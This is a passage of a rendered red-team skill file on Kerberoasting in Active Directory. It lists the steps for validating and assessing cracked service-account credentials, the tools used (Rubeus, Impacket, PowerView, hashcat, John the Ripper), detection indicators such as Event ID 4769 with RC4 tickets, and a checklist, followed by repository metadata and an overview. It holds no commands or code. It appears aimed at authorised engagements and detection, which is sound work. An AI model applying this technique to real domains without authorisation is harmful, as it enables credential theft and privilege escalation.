Validation","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Validate cracked credentials against domain","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Assess access level of compromised accounts","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Map accounts to BloodHound attack paths","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Document for engagement report","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Tools and Resources","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Tool","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Purpose","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Platform","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Rubeus","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Kerberoasting and ticket manipulation","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Windows (.NET)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Impacket GetUserSPNs.py","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Remote Kerberoasting","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Linux/Python","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PowerView","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"SPN enumeration","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Windows (PowerShell)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"hashcat","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Offline password cracking","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Cross-platform","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"John the Ripper","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Offline password cracking","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Cross-platform","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Detection Indicators","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Event ID 4769: Kerberos Service Ticket Request with RC4 encryption (0x17)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Anomalous TGS requests from a single account in short timeframe","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"TGS requests for services the user normally does not access","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Honeypot SPN accounts with alerting on ticket requests","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Validation Criteria","type":"text"}]},{"type":"checkbox_list","attrs":{"id":null},"content":[{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"SPN accounts enumerated and documented","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"TGS tickets extracted in crackable format","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Offline cracking attempted with appropriate wordlists","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Cracked credentials validated","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Access level of compromised accounts assessed","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}}]},"metadata":{"date":"2026-06-05","name":"performing-kerberoasting-attack","tags":["red-team","adversary-simulation","mitre-attack","exploitation","post-exploitation","kerberoasting","active-directory","credential-access"],"author":"@skillopedia","domain":"cybersecurity","source":{"stars":5,"repo_name":"community-skills","origin_url":"https://github.com/autohandai/community-skills/blob/HEAD/performing-kerberoasting-attack/SKILL.md","repo_owner":"autohandai","body_sha256":"a3c3f7272ee01067f954d2807e68d51ff2be52f4da85a98e6a2012ca09b384f7","cluster_key":"5e8eafa7ab0a2f8da84a209adfd88311f4e888967acc07938e1a85cedb96129b","clean_bundle":{"format":"clean-skill-bundle-v1","source":"autohandai/community-skills/performing-kerberoasting-attack/SKILL.md","attachments":[{"id":"c64c011b-41d8-5321-990f-639f6113bf08","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/c64c011b-41d8-5321-990f-639f6113bf08/attachment.md","path":"assets/template.md","size":1163,"sha256":"97e91ca55fef0b072f78a9ceb8c995004ea252abad739d049d8761d29c8bb90a","contentType":"text/markdown; charset=utf-8"},{"id":"75807859-f5fd-5223-ad20-5824bca2a524","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/75807859-f5fd-5223-ad20-5824bca2a524/attachment.md","path":"references/api-reference.md","size":1659,"sha256":"906b590cbb727e0bd2a17f6de7a9c6c3559d07162be4cbe3dbac6e18f19a0d6a","contentType":"text/markdown; charset=utf-8"},{"id":"7907e80a-b183-5a20-8d94-94b2720927f6","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/7907e80a-b183-5a20-8d94-94b2720927f6/attachment.md","path":"references/standards.md","size":2698,"sha256":"c0f7fb4de26d882e933357579854337165fa5cb7f5164b326c59ea76f1716012","contentType":"text/markdown; charset=utf-8"},{"id":"b186ee27-94f8-57a2-9a38-053b2d931284","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/b186ee27-94f8-57a2-9a38-053b2d931284/attachment.md","path":"references/workflows.md","size":4560,"sha256":"d116a949b766d8c024547c5e5b275f7b52bf82a184ec37887549835761820a83","contentType":"text/markdown; charset=utf-8"},{"id":"60c1a2c2-3f2a-5192-9b10-62e3d98e8d34","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/60c1a2c2-3f2a-5192-9b10-62e3d98e8d34/attachment.py","path":"scripts/agent.py","size":8155,"sha256":"a84b5486b379b152bb7cbd5a4dfe5480cca4e66a7dc903d9efa246b29c5de30d","contentType":"text/x-python; charset=utf-8"},{"id":"ec6a6195-67d1-5b45-874d-ba0f6cea2b11","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/ec6a6195-67d1-5b45-874d-ba0f6cea2b11/attachment.py","path":"scripts/process.py","size":14507,"sha256":"88a89463c0b80b96ace6a8b84fe3003b81f57a9eefde89a97cb3d2293ddddb2d","contentType":"text/x-python; charset=utf-8"}],"bundle_sha256":"9bcbe34d68adddc7e6f75ff2aabd80831e867c7d662db867478e1d85e70aa6eb","attachment_count":6,"text_attachments":6,"attachment_storage":"skillopedia-attachments-v1","binary_attachments":0,"excluded_attachments":[]},"cluster_size":1,"skill_md_path":"performing-kerberoasting-attack/SKILL.md","import_metadata":{"date":"2026-06-05","author":"@skillopedia","version":"v1","category":"games-interactive","category_label":"Games"},"exact_dupes_collapsed_into_this":0},"license":"Apache-2.0","version":"v1","category":"games-interactive","subdomain":"red-teaming","import_tag":"clean-skills-v1","description":"Kerberoasting is a post-exploitation technique that targets service accounts in Active Directory by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names"}},"renderedAt":1782989795298}

Performing Kerberoasting Attack Overview Kerberoasting is a post-exploitation technique that targets service accounts in Active Directory by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs) set. These tickets are encrypted with the service account's NTLM hash, allowing offline brute-force cracking without generating failed login events. It is one of the most common privilege escalation paths in AD environments because any domain user can request TGS tickets. MITRE ATT&CK Mapping - T1558.003 - Steal or Forge Kerberos Tickets: Kerberoast…